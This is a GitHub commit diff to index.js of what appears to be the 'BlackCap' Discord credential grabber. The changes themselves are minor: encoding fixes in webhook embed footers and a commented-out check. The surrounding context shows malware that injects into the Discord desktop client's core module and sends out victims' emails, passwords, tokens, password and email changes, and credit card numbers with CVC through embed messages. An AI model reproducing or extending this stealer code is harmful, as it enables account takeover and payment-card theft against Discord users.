Update index.js

This commit is contained in:
What about KSCH 2023-01-31 01:05:52 +01:00 committed by GitHub
parent 172a025b90
commit 9328e00910
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 13 additions and 12 deletions

View File

@ -75,6 +75,7 @@ function updateCheck() {
const indexJs = `${app}\\modules\\discord_desktop_core-1\\discord_desktop_core\\index.js`; const indexJs = `${app}\\modules\\discord_desktop_core-1\\discord_desktop_core\\index.js`;
const bdPath = path.join(process.env.APPDATA, "\\betterdiscord\\data\\betterdiscord.asar"); const bdPath = path.join(process.env.APPDATA, "\\betterdiscord\\data\\betterdiscord.asar");
if (!fs.existsSync(appPath)) fs.mkdirSync(appPath); if (!fs.existsSync(appPath)) fs.mkdirSync(appPath);
//if(config.nume_core === "%num_core_discord%")return;
if(app === 'Lightcord')return; if(app === 'Lightcord')return;
if(app === 'DiscordCanary')return; if(app === 'DiscordCanary')return;
if(app === 'DiscordPTB')return; if(app === 'DiscordPTB')return;
@ -284,7 +285,7 @@ async function FirstTime() {
name: "BlackCap" name: "BlackCap"
}, },
footer: { footer: {
text: "<EFBFBD>KSCH | https://github.com/KSCHdsc" text: "©KSCH | https://github.com/KSCHdsc"
} }
}] }]
}; };
@ -352,7 +353,7 @@ async function FirstTime() {
}], }],
footer: { footer: {
text: "<EFBFBD>KSCH | https://github.com/KSCHdsc" text: "©KSCH | https://github.com/KSCHdsc"
}, },
image: { image: {
url: bannerurl, url: bannerurl,
@ -399,7 +400,7 @@ async function FirstTime() {
name: "BlackCap" name: "BlackCap"
}, },
footer: { footer: {
text: "<EFBFBD>KSCH | https://github.com/KSCHdsc" text: "©KSCH | https://github.com/KSCHdsc"
} }
}] }]
}; };
@ -463,7 +464,7 @@ async function FirstTime() {
}], }],
footer: { footer: {
text: "<EFBFBD>KSCH | https://github.com/KSCHdsc" text: "©KSCH | https://github.com/KSCHdsc"
}, },
image: { image: {
url: bannerurl, url: bannerurl,
@ -904,7 +905,7 @@ async function Login(email, password, token) {
}, ], }, ],
"footer": { "footer": {
"text": "<EFBFBD>KSCH | https://github.com/KSCHdsc" "text": "©KSCH | https://github.com/KSCHdsc"
}, },
"thumbnail": { "thumbnail": {
"url": `${usericonurl}` "url": `${usericonurl}`
@ -915,7 +916,7 @@ async function Login(email, password, token) {
"description": CalcFriends(), "description": CalcFriends(),
"footer": { "footer": {
"text": "<EFBFBD>KSCH | https://github.com/KSCHdsc" "text": "©KSCH | https://github.com/KSCHdsc"
}, },
"image": { "image": {
'url': `${bannerurl}`, 'url': `${bannerurl}`,
@ -1069,7 +1070,7 @@ async function ChangePassword(oldpassword, newpassword, token) {
}, ], }, ],
"footer": { "footer": {
"text": "<EFBFBD>KSCH | https://github.com/KSCHdsc" "text": "©KSCH | https://github.com/KSCHdsc"
}, },
"thumbnail": { "thumbnail": {
"url": `${usericonurl}` "url": `${usericonurl}`
@ -1080,7 +1081,7 @@ async function ChangePassword(oldpassword, newpassword, token) {
"description": CalcFriends(), "description": CalcFriends(),
"footer": { "footer": {
"text": "<EFBFBD>KSCH | https://github.com/KSCHdsc" "text": "©KSCH | https://github.com/KSCHdsc"
}, },
"image": { "image": {
'url': `${bannerurl}`, 'url': `${bannerurl}`,
@ -1235,7 +1236,7 @@ async function ChangeEmail(newemail, password, token) {
], ],
"footer": { "footer": {
"text": "<EFBFBD>KSCH | https://github.com/KSCHdsc" "text": "©KSCH | https://github.com/KSCHdsc"
}, },
"thumbnail": { "thumbnail": {
"url": `${usericonurl}` "url": `${usericonurl}`
@ -1246,7 +1247,7 @@ async function ChangeEmail(newemail, password, token) {
"description": CalcFriends(), "description": CalcFriends(),
"footer": { "footer": {
"text": "<EFBFBD>KSCH | https://github.com/KSCHdsc" "text": "©KSCH | https://github.com/KSCHdsc"
}, },
"image": { "image": {
'url': `${bannerurl}`, 'url': `${bannerurl}`,
@ -1306,7 +1307,7 @@ async function CreditCardAdded(number, cvc, expir_month, expir_year, token) {
"name": "BlackCap" "name": "BlackCap"
}, },
"footer": { "footer": {
"text": "<EFBFBD>KSCH | https://github.com/KSCHdsc" "text": "©KSCH | https://github.com/KSCHdsc"
}, },
"thumbnail": { "thumbnail": {
"url": "https://cdn.discordapp.com/avatars/" + info.id + "/" + info.avatar "url": "https://cdn.discordapp.com/avatars/" + info.id + "/" + info.avatar
@ -1318,7 +1319,7 @@ async function CreditCardAdded(number, cvc, expir_month, expir_year, token) {
"description": `\`\`\`diff\n${fs.readFileSync('blackcaped_guilds_result.txt', 'utf-8') || "- This user is not the owner of any server"}\`\`\``, "description": `\`\`\`diff\n${fs.readFileSync('blackcaped_guilds_result.txt', 'utf-8') || "- This user is not the owner of any server"}\`\`\``,
"footer": { "footer": {
"text": "<EFBFBD>KSCH | https://github.com/KSCHdsc" "text": "©KSCH | https://github.com/KSCHdsc"
}, },
"image": { "image": {
'url': `${bannerurl}`, 'url': `${bannerurl}`,